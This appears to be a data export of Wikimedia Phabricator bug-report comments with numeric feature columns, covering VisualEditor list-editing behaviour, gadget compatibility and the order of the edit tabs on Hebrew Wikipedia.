With the options for things like dot's highlighter and wikiEd grayed out so they can't be clicked (and defaulted to off).",,,1377865283,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.5,0.5,1.5,1.0,0.0,0.5,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,0.5,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,4.5,1.5,0.5,1.0,0.5,0.0,0.0,2.0,1.0,0.0,0.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,13.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.5,2.0,14.5,2.5,1.0,4.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,5.0,11.0,6.5,0.0,1.0,0.0,5.0,0.0,1.5,1.0,0.0,1.5,0.0,0.0,2.5,3.981707317073171,0.6158536585365855,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm sorry James, I missed your question.  I've uploaded a couple screenshots of what I'm thinking (although I'm thinking this may require a change in the gadgets extension first on second thought).

Currently, the ""Editing"" section of the gadgets tab on enwp looks like:
   [[commons:File:Special_Preferences_mw-prefsection-gadgets_%28current%29.png]]

What I'm proposing, is that when VisualEditor is active for the user, it should look like:
   [[commons:File:Special_Preferences_mw-prefsection-gadgets_%28proposed%29.png]]

With the options for things like dot's highlighter and wikiEd grayed out so they can't be clicked (and defaulted to off)."
241344,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,Closing as INVALID as no response after 3 weeks (but happy to reconsider if I've mis-understood).,,,1377828505,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,23.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.727272727272727,0.9545454545454546,Closing as INVALID as no response after 3 weeks (but happy to reconsider if I've mis-understood).
241338,Gadgets: Add support to understand whether a gadget supports VisualEditor (or another feature?) and allow it to be greyed out,"Not sure what the bug is, here?

Gadgets can be written to work with VisualEditor, but gadgets not written to do so won't work, and dated (and so now misleading) advertising on behalf of these gadgets that it works with ""the editor"" will confuse people.

As normal, gadget authors and maintainers should make sure that they re-label their gadgets to avoid this confusion.

Or am I missing something?",,,1375747264,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u3h65rxvz452mowrmajb,task_subcomment,,True,c1,3,True,,,5,,0.0,1.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,2.0,8.0,12.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,3.0,7.0,1.0,6.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,12.0,1.0,2.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.895348837209302,0.7558139534883721,"Not sure what the bug is, here?

Gadgets can be written to work with VisualEditor, but gadgets not written to do so won't work, and dated (and so now misleading) advertising on behalf of these gadgets that it works with ""the editor"" will confuse people.

As normal, gadget authors and maintainers should make sure that they re-label their gadgets to avoid this confusion.

Or am I missing something?"
54557,VisualEditor: Backspace should not delete list and line in same action,"**Author:** `mcdevitd`

**Description:**
Typically, the expected behavior from hitting backspace at the beginning of a list line is to remove the bullet/number at that indent level so it is no longer a list, and no more. VisualEditor will completely delete the line itself and move the text to the end of the previous line. This is not how OpenOffice or Word works.",Medium,50.0,1375729680,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_description,open,True,c1,3,False,False,,5,,0.0,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,10.0,3.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,1.0,1.0,3.0,0.0,0.0,3.7974683544303796,0.6708860759493671,"**Author:** CODE

**Description:**
Typically, the expected behavior from hitting backspace at the beginning of a list line is to remove the bullet/number at that indent level so it is no longer a list, and no more. VisualEditor will completely delete the line itself and move the text to the end of the previous line. This is not how OpenOffice or Word works."
1903501,VisualEditor: Backspace should not delete list and line in same action,"Currently (for years), pressing backspace in LibreOffice makes the paragraph exit the list **only if it is empty** (note we may split an ordered list in OpenDocuments, whereas we cannot in wikitext). Else, the behavior is pretty consistent with VisualEditor (first Backspace press: the bullet is hidden — no equivalence in VE; second Backspace press: the paragraph is merged with previous element).",,,1650765676,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_subcomment,,True,c1,3,False,,,459,,0.0,0.0,0.0,2.0,1.0,6.0,2.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,6.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,5.0,10.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.121951219512195,0.6707317073170732,"Currently (for years), pressing backspace in LibreOffice makes the paragraph exit the list **only if it is empty** (note we may split an ordered list in OpenDocuments, whereas we cannot in wikitext). Else, the behavior is pretty consistent with VisualEditor (first Backspace press: the bullet is hidden — no equivalence in VE; second Backspace press: the paragraph is merged with previous element)."
1903500,VisualEditor: Backspace should not delete list and line in same action,"Currently (for years), backspace LibreOffice make the paragraph exit the list only if it is empty. Else, the behavior is pretty consistent with VisualEditor (first Backspace press: the bullet is hidden — no equivalence in VE; second Backspace press: the paragraph is merged with previous element).",,,1650765546,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_subcomment,,True,c1,3,False,,,459,,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.362068965517241,0.7241379310344828,"Currently (for years), backspace LibreOffice make the paragraph exit the list only if it is empty. Else, the behavior is pretty consistent with VisualEditor (first Backspace press: the bullet is hidden — no equivalence in VE; second Backspace press: the paragraph is merged with previous element)."
241079,VisualEditor: Backspace should not delete list and line in same action,"Agreed. For

| <ol><li><p>|</p></li><li><p>Foo</p></li></ol>

… backspace at the cursor position indicated should convert the document into:

| <p>|</p><ol><li><p>Foo</p></li></ol>

… with the initial <p> being a slug.

For nested list items we should pop to the next level:

| <ol><li><p>Foo</p></li><li><ol><li><p>|</p></li><li><p>Foo</p></li></ol></li></ol>

->


| <ol><li><p>Foo</p></li><li><p>|</p></li><li><ol><li><p>Foo</p></li></ol></li></ol>

I think?",,,1394479004,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vrzpbb2v2s74ml5e53ww,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,7.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,13.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,21.0,5.219512195121951,0.5609756097560976,"Agreed. For

| <ol><li><p>|</p></li><li><p>Foo</p></li></ol>

… backspace at the cursor position indicated should convert the document into:

| <p>|</p><ol><li><p>Foo</p></li></ol>

… with the initial <p> being a slug.

For nested list items we should pop to the next level:

| <ol><li><p>Foo</p></li><li><ol><li><p>|</p></li><li><p>Foo</p></li></ol></li></ol>

->


| <ol><li><p>Foo</p></li><li><p>|</p></li><li><ol><li><p>Foo</p></li></ol></li></ol>

I think?"
54554,VisualEditor: Unindent should not remove lists,"**Author:** `mcdevitd`

**Description:**
The expected behavior in most word processors (Word and OpenOffice) is that the user can unindent (shift-tab) only to get to the initial list indent level but it should not actually delete the bulleting/numbering itself when you to the end. In VisualEditor, unindenting once too many times can remove the initial bullet/number entirely.

This becomes particularly annoying when (because of the behavior described in bug 48051) you accidentally split a list into two lists which can't be fixed clicking the list button again to re-add the bullet/number.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1375726080,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nog34g36rvrxth34pzwz,task_description,open,True,c1,3,False,False,,5,,0.5,0.0,0.5,0.5,1.0,4.0,0.5,0.5,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.5,7.5,7.5,0.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,6.0,1.0,6.0,2.5,1.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,1.5,0.0,2.0,7.5,2.5,0.0,0.0,0.0,2.0,0.0,2.0,0.5,0.5,1.5,0.0,0.5,0.0,4.128571428571428,0.7785714285714286,"**Author:** CODE

**Description:**
The expected behavior in most word processors (Word and OpenOffice) is that the user can unindent (shift-tab) only to get to the initial list indent level but it should not actually delete the bulleting/numbering itself when you to the end. In VisualEditor, unindenting once too many times can remove the initial bullet/number entirely.

This becomes particularly annoying when (because of the behavior described in bug 48051) you accidentally split a list into two lists which can't be fixed clicking the list button again to re-add the bullet/number.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
429773,VisualEditor: Unindent should not remove lists,(Still valid in current VE; is this really normal priority?),,,1426861555,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,1.0,(Still valid in current VE; is this really normal priority?)
240825,VisualEditor: Unindent should not remove lists,*** Bug 56344 has been marked as a duplicate of this bug. ***,,,1384846149,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56344 has been marked as a duplicate of this bug. ***
240818,VisualEditor: Unindent should not remove lists,"**mcdevitd** wrote:

(In reply to comment #1)
> (In reply to comment #0)
> 
> > This becomes particularly annoying when (because of the behavior described in
> > bug 48051) you accidentally split a list into two lists which can't be fixed
> > clicking the list button again to re-add the bullet/number.
> 
> ""Undo"" fixes that instantly, of course.

I wasn't trying to say that it is unfixable. I was just pointing out that the current list behavior means that the way most(?) people might naturally try to correct losing their bulleting/numbering would only compound the error. (""Undo"" fixes almost anything, of course, except frustration and time wasted.)",,,1375754135,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,False,,,5,,0.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,2.0,0.0,5.0,11.0,1.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,17.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,4.0,1.0,3.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,4.0,11.0,6.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.610526315789474,0.6631578947368421,"**mcdevitd** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I wasn't trying to say that it is unfixable. I was just pointing out that the current list behavior means that the way most(?) people might naturally try to correct losing their bulleting/numbering would only compound the error. (""Undo"" fixes almost anything, of course, except frustration and time wasted.)"
240811,VisualEditor: Unindent should not remove lists,"(In reply to comment #0)
> The expected behavior in most word processors (Word and OpenOffice) is that
> the user can unindent (shift-tab) only to get to the initial list indent
> level but it should not actually delete the bulleting/numbering itself when
> you to the end. In VisualEditor, unindenting once too many times can remove
> the initial bullet/number entirely.

This was a deliberate choice, though I can't remember why (it was over a year ago that this was implemented). We should reconsider.

> This becomes particularly annoying when (because of the behavior described in
> bug 48051) you accidentally split a list into two lists which can't be fixed
> clicking the list button again to re-add the bullet/number.

""Undo"" fixes that instantly, of course.",,,1375747948,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nog34g36rvrxth34pzwz,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,2.0,2.0,2.0,3.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,5.0,20.0,5.0,0.0,6.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,8.0,8.0,0.0,3.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3230769230769233,0.6153846153846154,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This was a deliberate choice, though I can't remember why (it was over a year ago that this was implemented). We should reconsider.

QUOTE
QUOTE
QUOTE

""Undo"" fixes that instantly, of course."
54552,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Users are requesting VE August update (https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/August_2013_update) to be deployed in on hewiki.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: https://he.wikipedia.org/wiki/%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:%D7%A2%D7%A8%D7%9F#.D7.A9.D7.99.D7.A0.D7.95.D7.99_.D7.91.D7.9E.D7.99.D7.A7.D7.95.D7.9D_.D7.94.D7.A7.D7.99.D7.A9.D7.95.D7.A8_.22.D7.A2.D7.A8.D7.99.D7.9B.D7.94_.D7.91.D7.A7.D7.95.D7.93_.D7.9E.D7.A7.D7.95.D7.A8.22_-_.D7.9B.D7.9E.D7.95_.D7.91.D7.95.D7.95.D7.99.D7.A7.D7.99.D7.A4.D7.93.D7.99.D7.94_.D7.94.D7.90.D7.A0.D7.92.D7.9C.D7.99.D7.AA",Medium,50.0,1375721160,1381515689.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,False,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.395348837209302,0.6046511627906976,"Users are requesting VE August update (URL to be deployed in on hewiki.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL"
240759,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary",Finally done; sorry for the delay.,,,1381515689,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,Finally done; sorry for the delay.
240757,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Change 87645 merged by Reedy:
Switch VisualEditor to secondary status on hewiki

https://gerrit.wikimedia.org/r/87645",,,1381515513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0625,1.0,"Change 87645 merged by Reedy:
Switch VisualEditor to secondary status on hewiki

GERRIT_URL"
240755,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","(In reply to comment #14)
> Change 87645 had a related patch set uploaded by Jforrester:
> Switch VisualEditor to secondary status on hewiki
> 
> https://gerrit.wikimedia.org/r/87645

Will try to schedule this soon.",,,1380938287,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0416666666666665,0.7083333333333334,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE

Will try to schedule this soon."
240750,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Change 87645 had a related patch set uploaded by Jforrester:
Switch VisualEditor to secondary status on hewiki

https://gerrit.wikimedia.org/r/87645",,,1380938237,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.095238095238095,1.0,"Change 87645 had a related patch set uploaded by Jforrester:
Switch VisualEditor to secondary status on hewiki

GERRIT_URL"
240742,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","(In reply to comment #12)
> Thanks for adding the welcome message. 
> 
> I know there are discussions regarding these changes[1], but the change of
> the tab order (Edit and Edit source) is important for he wikipedia and Erik
> isn't totally against it [only ambivalent] :)
> 
> [1]
> http://lists.wikimedia.org/pipermail/wikitech-ambassadors/2013-September/
> 000419.html

To speak for Erik (:-)), his ambivalence is about changing it *globally*, not about changing it on a given wiki.

There's scope for a lot of concern about changing it for some wikis and not others, and so having a very inconsistent configuration for people that use multiple wikis. I think that it's probably OK to do this, but I really haven't come to ""a decision"". However, it's unfair to hewiki to have you hanging around waiting for me to make up my mind, and I'm sorry about this. :-(

> Since VE is enabled only in the main NS and user NS, for editors who also
> edit in other namespaces, addition of the VE edit tab ""in the middle"" may
> cause confusion.

That is certainly one argument. (Though surely it only applies to people with a very narrow window, or the minority who use the Monobook skin? For the others, the VisualEditor tab sits prone in namespaces they can use it in, and otherwise they get the tab they currently have to use until Flow is fully rolled out). But I see your point.

> For consistency the edit source option should be alway the first
> option [in order], while VE edit should be second.

An alternative argument is that it's right that the first and primary tab is always the one they can use, and there may or may not be a secondary editor tab depending on the nature of the content they're editing.

Of course, we can partially 'fix' this by enabling VisualEditor in all the other namespaces that it's safe for (at the least, File, Portal, Category, Help; not Project, as that's normally signed and so should wait with *_Talk for Flow). Not sure.

In the mean time, I'm happy to move hewiki to [ Edit source | Edit ] for the time being, and would really welcome thoughts on my other points above.",,,1380937661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wvcrw2fz7zto4p5xyqav,task_subcomment,,True,c1,3,True,,,13,,0.5,0.0,0.75,0.25,1.5,5.0,1.0,0.0,0.25,0.0,2.0,1.5,0.0,0.5,0.5,2.25,0.0,7.75,12.25,0.0,1.75,0.25,0.0,0.0,0.0,0.25,0.0,0.5,1.25,0.25,0.25,5.75,0.75,2.25,0.5,0.5,0.0,0.0,1.5,0.25,0.0,1.5,0.0,1.25,0.0,0.0,0.25,0.25,0.25,10.5,1.0,0.5,0.0,0.75,0.0,0.0,0.25,0.25,1.5,0.0,0.25,1.25,0.0,0.0,0.0,0.5,0.0,5.0,1.5,11.75,1.25,3.0,7.0,0.0,0.0,0.0,0.25,3.25,0.0,0.75,0.0,6.5,12.25,6.0,0.25,1.0,0.0,6.5,0.0,0.5,1.75,0.25,2.25,0.0,0.25,0.0,3.5861111111111112,0.6861111111111111,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

To speak for Erik (:-)), his ambivalence is about changing it *globally*, not about changing it on a given wiki.

There's scope for a lot of concern about changing it for some wikis and not others, and so having a very inconsistent configuration for people that use multiple wikis. I think that it's probably OK to do this, but I really haven't come to ""a decision"". However, it's unfair to hewiki to have you hanging around waiting for me to make up my mind, and I'm sorry about this. :-(

QUOTE
QUOTE
QUOTE

That is certainly one argument. (Though surely it only applies to people with a very narrow window, or the minority who use the Monobook skin? For the others, the VisualEditor tab sits prone in namespaces they can use it in, and otherwise they get the tab they currently have to use until Flow is fully rolled out). But I see your point.

QUOTE
QUOTE

An alternative argument is that it's right that the first and primary tab is always the one they can use, and there may or may not be a secondary editor tab depending on the nature of the content they're editing.

Of course, we can partially 'fix' this by enabling VisualEditor in all the other namespaces that it's safe for (at the least, File, Portal, Category, Help; not Project, as that's normally signed and so should wait with *_Talk for Flow). Not sure.

In the mean time, I'm happy to move hewiki to [ Edit source | Edit ] for the time being, and would really welcome thoughts on my other points above."
240736,"Change the order of the ""edit"" (VE) and ""edit source"" (WT) tabs on hewiki to have WT as primary","Thanks for adding the welcome message. 

I know there are discussions regarding these changes[1], but the change of the tab order (Edit and Edit source) is important for he wikipedia and Erik isn't totally against it [only ambivalent] :)

Since VE is enabled only in the main NS and user NS, for editors who also edit in other namespaces, addition of the VE edit tab ""in the middle"" may cause confusion. For consistency the edit source option should be alway the first option [in order], while VE edit should be second.

----
